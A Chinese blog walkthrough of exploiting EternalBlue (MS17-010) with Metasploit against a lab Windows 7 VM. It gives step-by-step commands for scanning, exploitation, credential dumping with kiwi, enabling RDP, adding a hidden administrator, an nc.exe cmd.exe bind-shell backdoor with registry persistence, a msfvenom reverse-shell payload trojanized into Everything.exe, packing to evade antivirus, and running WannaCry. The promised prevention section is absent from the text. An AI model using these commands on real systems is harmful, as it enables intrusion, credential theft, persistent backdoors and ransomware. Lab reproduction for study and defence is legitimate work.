Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

2023-11-10

目录

一、永恒之蓝概述

二、SMB协议

三、准备工作

四、漏洞复现

1、主机发现

2、端口扫描

3、利用模块

五、演示功能

1.获取cmd

2.捕获屏幕

3.上传文件

4.下载文件

5.远程登录

6.上传后门

7.免杀加壳

8.运行wannacry

9.清除日志

六、预防方案

1.打开防火墙

2.安装杀毒软件

3.禁用445端口 

4.IPsec关闭高危端口

5.注册表关闭445端口

6.安装补丁

七、总结


一、永恒之蓝概述

        永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB协议

        SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

三、准备工作

  • 虚拟机:VMware
  • 靶机:Windows 7(IP:192.168.184.138)
  • 攻击机:Kali (IP:192.168.184.130)
  • 工具:Kali中的nmap   metasploit(MSF)

四、漏洞复现

1、主机发现

   a.前提win7关闭防火墙

不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。

 可以ipconfig ifconfig分别查看win7和kali中的ip地址:

win7

    

 kali

 2.用kali中的nmap 扫描网段做主机发现

IP地址:<网络号>+<主机号>

 

A类:10.0.0.0~10.255.255.255

B类:172.16.0.0~173.31.255.255

C类:192.168.0.0~192.168.255.255

/24就是代表24个1,即子网掩码为255.255.255.0

192.168.184.0/24   “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。

nmap -sP 192.168.184.0/24  #sP(ping扫描)

 .1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7

3.用kali中的metasploit(MSF)做主机发现 

msfconsole                                 //启动MSF
use auxiliary/scanner/discovery/arp_sweep  //use使用模块
set rhosts 192.168.184.0/24   //设置扫描网段
set threads 50             //提高线程
run                        //运行

 这是以上的方法做主机发现,其实还有很多。

  • Windows 7  IP:192.168.184.138
  • Kali   IP:192.168.184.130

 让他们ping一下,看看是否联通。

kali——ping——win7

 win7——ping——kali

 

 2、端口扫描

nmap -sT  扫描端口:

nmap -sT 192.168.184.138   #sT(使用TCP进行扫描)

 MSF 端口扫描:

use auxiliary/scanner/portscan/tcp   //使用模块
set rhosts 192.168.184.138   //设置远程ip
run

扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)

3、利用模块

    MSF 搜索永恒之蓝的漏洞  输入search ms17-010 (微软 永恒之蓝编号ms17-010)

1.  blue就是永恒之蓝的漏洞

2. psexec是可利用的一个javascripe(JS)的一个模块

3.  command是运行cmd的

4. 最后一个是探测的模块

a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010  //使用模块 use 3也可以
show options   //查看要配置的参数
set rhosts 192.168.184.138   //设置远程ip
run                    //运行

 我们扫出来是 likely 可能的   可能存在漏洞 good!

b.我们在利用永恒之蓝的模块

use exploit/windows/smb/ms17_010_eternalblue
show options 
set rhosts 192.168.184.138
exploit/run

 msf>命令

 慢慢跑

 成功!!!

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。

五、演示功能

1.获取cmd

meterpreter > shell
chcp 65001  //转换一下编码 要不然会乱码
ipconfig  #查看ip
whoami    #查看当前用户名称

 2.捕获屏幕

meterpreter > screenshot   #屏幕截图

 查看捕获的图片:

3.上传文件

meterpreter > upload user.txt c://

 到win7看一看,果然有了。

 4.下载文件

meterpreter > download d://1.txt

 5.远程登录

kiwi模块查看密码:

使用kiwi模块需要system管理员权限:

meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all  #列举所有凭据
exit   #退出

k:k123456 

MSF启动目标机的3389端口

windows远程连接默认是不允许连接的:

 我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上Hacker呢,哈哈哈...

 启动win7的3389端口即远程桌面协议,执行远程链接命令:

meterpreter > run post/windows/manage/enable_rdp  //启用目标主机的3389端口远程桌面
meterpreter > idletime  //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

 

在次查看win7远程:

 

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 输入刚刚查到的账户和密码  k:k123456 

 连接成功!!!

 由于这样我们远程登录win7用户k,在win7会把用户k顶下去:

创建用户:

 所以我们要创建一个新用户用来登录:

meterpreter > shell            #进入命令行
net user kill 123 /add         #新建用户kill 密码123
net  localgroup  administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user               #查看用户

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:

点击确定---kali连接到win7,点击取消kali连不上win7.

确定 :

 取消:

 

 查一查吧!!!

chat-GPT是真好用! 

 按照GPT的来

  1. 输入“gpedit.msc”并回车,打开本地组策略编辑器。

  2. 在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。

  3. 右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。

  4. 保存设置并关闭组策略编辑器。

我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。

好在找到了破解补丁!!!破解---重启!!!

重启win7 在次连接:成功!!!

 kali远程连接:rdesktop 192.168.184.138

win7没有掉: 

6.上传后门

在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。

msf上传到win7 的c盘windows下

upload /usr/share/windows-binaries/nc.exe  C:\\Windows   

 win7看一下:

当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'

新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。

 netsh firewall add portopening TCP 7777 "kill" ENABLE ALL 

对应的win7: 

 通过nc -v连接靶机进入控制台 

nc -v 192.168.184.145 7777 

whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户: 

 

 7.免杀加壳

MSF生成.exe的马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe

 我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)

upload /root/kiss/nc.exe c:\\Windows\\addins
upload /root/kiss/shell.exe c:\\Windows\\addins
#长传   kali木马的目录       上传到目标主机的目录

 查看win7下的目录:

 360,火绒检测一下,肯定是报毒的:

给木马加壳:

加壳用到的工具是Shielden:

 一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。

不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。

shellter附加:

大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。

kali新版本已经没有了,安装命令:

apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

我的已经下好了: 

 shellter:命令行启动

如果有中文乱码,是因为缺少字体,下载字体就可以了:

 链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA 
提取码:8888

kali命令:

unzip Fonts.zip  #解压.zip

cp Fonts/* ~/.wine/drive_c/windows/Fonts/   #把Fonts文件夹内所有字体复制到wine的映射目录内

 打开~/.wine/drive_c/windows/Fonts,确保字体已复制(原本这个文件夹是空的)

 终端输入winecfg,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。

 

 好了,正片开始:

 下载文件搜索工具everything

我们用32位everything.exe,可点该链接下载

下载好以后是一个压缩包,解压之后把里面的everything.exe放到kali中

添加后门 :

启动shellter后,在选择模式后选择A,自动模式:

然后输入要加后门文件的路径:

A
/root/kiss/bao/Everything.exe

 回车后等一会,要选择是否启用隐身模式这里选择N

 看图填就行:

 监听ip填写kali的,端口填6666就好: 

回车:

这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在Shellter_Backups

Shielden加壳: 

不加壳能够过360,过不了火绒:

 还是要加壳滴:

 加壳后:

 先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)

  

upload /root/kiss/bao/Everything_se.exe c:\\

 查看一下

 MSF运行Everything.exe即监听成功:

先开启端口

MSF永恒之蓝运行:
shell进入cmd
开启6666端口
netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
cd 到带有木马下的目录
Everything_se.exe 运行该木马

等开启监听在运行也可以

MSF启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.138
set lport 6666
run

 最后的运行:

大概就是先开启监听,然后在利用MSF永恒之蓝运行:

查看win7,发现Everything.exe在运行:

 当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'

 设置完成后win7重启,在reboot重启也行.

上线MSF:成功!!! 

8.运行wannacry

MSF upload 上传wcry.exe 并运行:

 运行即勒索:

 尝试关闭wcry.exe,结果失败:

 好在软件还可以进去,360,火绒扫一扫吧:

 wannacry:360火绒能奈我何

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复) 的相关文章

  • 如何在C(Linux utf8终端)中打印“盒子抽屉”Unicode字符?

    我正在尝试显示 方框图范围 2500 257F 中的 Unicode 字符 它应该是标准 utf8 Unicode 标准 版本 6 2 我根本做不到 我首先尝试使用旧的 ASCII 字符 但 Linux 终端以 utf8 显示 并且没有显示
  • 在ubuntu中打开spyder

    我想在ubuntu中打开spyder Python IDE 通常我会在 shell 中编写 spyder 它会打开spyder IDE 现在 当我在shell中编写spyder时 它只是换行 什么也没有发生 类似于按 enter 我如何找回
  • Python glob,操作系统,相对路径,将文件名放入列表中[重复]

    这个问题在这里已经有答案了 我正在尝试创建一个目录中所有文件的列表 其中文件名以 root 结尾 在阅读了论坛中的一些文章后 我尝试使用 glob 和 os listdir 的基本策略 但我都遇到了麻烦 首先 当我使用 import glo
  • 链接错误:命令行中缺少 DSO

    我对 Linux 使用 Ubuntu 14 04 LTS 64 位 相当陌生 来自 Windows 并且正在尝试移植我现有的 CUDA 项目 当通过链接时 usr local cuda bin nvcc arch compute 30 co
  • Crontab 每 5 分钟一次 [关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 我如何告诉 crontab 每 5 分钟运行一次 但从每小时的第二分钟开始 换句话说 我想在以下时间执行我的脚本minute 5 2 例如 我的脚本应
  • “git add”返回“致命:外部存储库”错误

    我刚刚进入 git 的奇妙世界 我必须提交我对程序所做的一系列更改 位于名为的目录中 var www myapp 我创建了一个新目录 home mylogin gitclone 从这个目录中 我做了一个git clone针对公共回购 我能够
  • 在 x86 汇编语言中获取文件大小的简单方法

    假设我已经在汇编中打开了一个文件 并且在寄存器 eax 中有该文件的文件句柄 我将如何获取文件的大小 以便为其分配足够的缓冲区空间 我在这里研究了另一个讨论 建议使用sys fstat 28 系统调用来获取文件统计信息但无法实现它 My a
  • 如何并行执行4个shell脚本,我不能使用GNU并行?

    我有4个shell脚本dog sh bird sh cow sh和fox sh 每个文件使用 xargs 并行执行 4 个 wget 来派生一个单独的进程 现在我希望这些脚本本身能够并行执行 由于某些我不知道的可移植性原因 我无法使用 GN
  • /sys/device/ 和 dmidecode 报告的不同 CPU 缓存大小

    我正在尝试获取系统中不同缓存级别的大小 我尝试了两种技术 a 使用 sys device 中的信息 这是输出 cat sys devices system cpu cpu0 cache index1 size 32K cat sys dev
  • 嵌入清单文件以要求具有 mingw32 的管理员执行级别

    我正在 ubuntu 下使用 i586 mingw32msvc 交叉编译应用程序 我很难理解如何嵌入清单文件以要求 mingw32 具有管理员执行级别 对于我的例子 我使用了这个hello c int main return 0 这个资源文
  • 在汇编中使用 printf 会导致管道传输时输出为空,但可以在终端上使用

    无输出 https stackoverflow com questions 54507957 printf call from assembly do not print to stdout即使在终端上 当输出不包含换行符时也有相同的原因
  • Linux 使用 boost asio 拒绝套接字绑定权限

    我在绑定套接字时遇到问题 并且以用户身份运行程序时权限被拒绝 这行代码会产生错误 acceptor new boost asio ip tcp acceptor io boost asio ip tcp endpoint boost asi
  • 为什么 fork 炸弹没有使 android 崩溃?

    这是最简单的叉子炸弹 我在许多 Linux 发行版上执行了它 但它们都崩溃了 但是当我在 android 终端中执行此操作时 即使授予后也没有效果超级用户权限 有什么解释为什么它没有使 Android 系统崩溃吗 一句话 ulimit Li
  • 如何才能将 TCP 连接返回到同一端口?

    机器是 RHEL 5 3 内核 2 6 18 有时我在 netstat 中注意到我的应用程序有连接 建立了 TCP 连接本地地址 and 国外地址是一样的 其他人也报告了同样的问题 症状与链接中描述的相同 客户端连接到本地运行的服务器的端口
  • awk 在循环中使用时不打印任何内容[重复]

    这个问题在这里已经有答案了 我有一堆使用 file 1 a 1 txt 格式的文件 如下所示 A 1 B 2 C 3 D 4 并使用以下命令添加包含每个文件名称的新列 awk print FILENAME NF t 0 file 1 a 1
  • 在内核代码中查找函数的最佳方法[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我开始浏览内核代码 遇到的一件事是如何跟踪函数调用 结构定义等 有没有一种好的方法可以快速跳转到函数定义并退出 我尝试过 Source N
  • 执行命令而不将其保留在历史记录中[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 在进行软件开发时 经常需要在命令行命令中包含机密信息 典型示例是将项目部署到服务器的凭据设置为环境变量 当我不想将某些命令存储在命令历史记
  • 相当于Linux中的导入库

    在 Windows C 中 当您想要链接 DLL 时 您必须提供导入库 但是在 GNU 构建系统中 当您想要链接 so 文件 相当于 dll 时 您就不需要链接 为什么是这样 是否有等效的 Windows 导入库 注意 我不会谈论在 Win
  • 执行“minikube start”命令时出现问题

    malik malik minikube start minikube v1 12 0 on Ubuntu 18 04 Using the docker driver based on existing profile Starting c
  • 使用循环在 C 中管道传输两个或多个 shell 命令

    我正在尝试执行ls wc l通过 C 语言程序 而不是使用命令行 这是我当前的工作代码 int main int pfds 2 pipe pfds pid t pid fork if pid 0 The child process clos

随机推荐

  • Python网络爬虫使用教程

    文章目录 一 URL资源抓取 1 urllib 2 requests 3 requests html 二 正则表达式 三 数据解析 1 Beautiful Soup 2 lxml 3 selectolax 四 自动化爬虫selenium 五
  • 汉字的区码和位码

    写于2016年12月08日 汉字的区码和位码 由于国标码是四位十六进制 为了便于交流 大家常用的是四位十进制的区位码 所有的国标汉字与符号组成一个94 94的矩阵 在此方阵中 每一行称为一个 区 每一列称为一个 位 因此 这个方阵实际上组成
  • 字典树实现_数据结构与算法之字典树(Golang实现)

    1 字典树 算法描述 trie树的本质 就是利用字符串之间的公共前缀 将重复的前缀合并在一起 时间复杂度 构建O n 查询O k 1 1 1 算法步骤 根节点 什么都不表示 做一个字典比如a z 字母表 没一个节点包含这26个字母的字典表
  • 基于pytorch卷积人脸表情识别--毕业设计

    基于卷积神经网络的人脸表情识别 前言 毕业设计内容介绍 卷积神经网络的设计 卷积网络的模型 卷积池化过程详细说明 第一层卷积池化过程 第二层卷积池化过程 第三层卷积池化过程 全连接层过程 模型的训练过程 卷积与池化原理 模型如何训练 模型的
  • C++字符串全排列(递归法)和(迭代法)以及next_permutation底层原理详解

    目录 前言 next permutation的使用 实现全排列的两种算法 1 递归法 全排列方便理解记忆的方法 作为备用方法 实现代码 无重复元素情况 有重复元素情况 2 迭代法 next permutation底层原理 实现代码 有无重复
  • 【Makefile】Makefile 中 LINUXINCLUDE 的作用

    在驱动开发的时候 我们经常会创建很多新的头文件 这些头文件大多以 include xxx h 的形式放在源码中 而内核头文件则是以 include
  • Excel的基本操作(新手必看)

    11 文本记忆输入 先定义前两行单元格的文字 在下面的单元格中 右键 从下拉列表中选择 那么会显示前面输入的内容 12 数据的有效性验证 方式1 点击空白单元格 数据 数据验证 允许中选择序列 在来源中以 英文逗号的形式 添加 列表 方式2
  • spring boot 启动流程

    计时器开始计时 headless模式赋值 发送ApplicationAStartingEvent 配置环境模块 发送ApplicationEnvironmentPreparedEvent 打印banner 创建上下文应用对象 初始化失败分析
  • PEST分析顺丰服务需求_快递行业宏观环境分析

    快递行业宏观环境分析 宏观环境 PEST 分析 PEST 分析又称大环境分析 是研究宏观环境的有效工具 通过 Pest 分析法 公司能够剖析出自身所处的外部大环境究竟对自己的发 展是有利还是有害 以及据此作出战略规划 趋利避害 其中每一个
  • 如何处理日志文件丢失

    select group members from v log 查看日志文件的状态 select group status from v log 有状态来决定执行步骤 status active alter system checkpoin
  • ssh连接服务器协议错误,SSH服务 packet_write_wait: Connection to xxx port 22: Broken pipe错误处理...

    版权声明 本文为博主原创文章 遵循 CC 4 0 BY SA 版权协议 转载请附上原文出处链接和本声明 本文链接 http www one3 cn p 306 昨晚通过scp把其中一台服务器上面的文件传输到另一台机器上面 因为文件比较多且大
  • Rockchip CAN FD 开发文档

    Rockchip CAN FD 开发文档 前言 概述 产品版本 芯片名称 内核版本 RK356X 4 19 5 10 RK3588 5 10 目录 文章目录 Rockchip CAN FD 开发文档 toc CAN FD 驱动 驱动文件 D
  • 22. 协程与Python中的多任务异步协程

    目录 前言 协程概念 示例代码 Python编写协程程序 要用到的库函数 尝试编写异步 尝试改进函数 尝试优化代码 在爬虫领域的应用 总结 前言 本节我们介绍一个新概念 协程 协程顾名思义 是协助执行程序的过程 我们将介绍协程的概念和其在P
  • 静态地址重定位 与 动态地址重定位

    静态地址重定位 即在程序装入内存的过程中完成 是指在程序开始运行前 程序中的各个地址有关的项均已完成重定位 地址变换通常是在装入时一次完成的 以后不再改变 故成为静态重定位 优点 无需硬件支持 缺点 1 程序重定位之后就不能在内存中搬动了
  • QT定时器的使用

    QT定时器的使用 使用QTimer定时器类 1 首先创建一个定时器类的对象 QTimer timer new QTimer this 2 timer 超时后会发出timeout 信号 所以在创建好定时器对象后给其建立信号与槽 connect
  • jenkins学习笔记第五篇使用参数化解决ant+jemeter生成报告问题

    jenkins插件还是很强大的 这里用到的插件是Date Parameter 在参数化构建过程中添加参数 这里具体使用如下 可以在项目构建里 添加shell 具体引入方式如 echo DateParameter 在windows下使用的是w
  • windows node.js二进制文件的下载与配置

    1 下载 下载地址 http nodejs cn download 根据自己的电脑下载 2 将压缩包解压到你想安装的位置 3 在解压之后的文件夹中创建两个文件夹 node global npm全局安装位置 和node cache npm 缓
  • 使用Aspose在C#中将PLT转换为PDF或JPEG图像

    PLT是用于绘图仪机器的基于矢量的格式 但是 只有少数应用程序支持此格式 因此可能需要根据需要转换为更兼容的格式 使用Aspose只需几个简单的步骤即可将PLT文件转换为PDF PNG或JPEG图像 让我们学习以下部分以获取更多详细信息 在
  • 微信支付报错:用户传入的appid不正确,请联系商户处理

    微信APP支付的时候 报用户传入的appid不正确 请联系商户处理错误 解决方案 1 确保所有配置正确 2 可以检查一下签名的大小写
  • Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

    目录 一 永恒之蓝概述 二 SMB协议 三 准备工作 四 漏洞复现 1 主机发现 2 端口扫描 3 利用模块 五 演示功能 1 获取cmd 2 捕获屏幕 3 上传文件 4 下载文件 5 远程登录 6 上传后门 7 免杀加壳 8 运行wann
Powered by Hwhale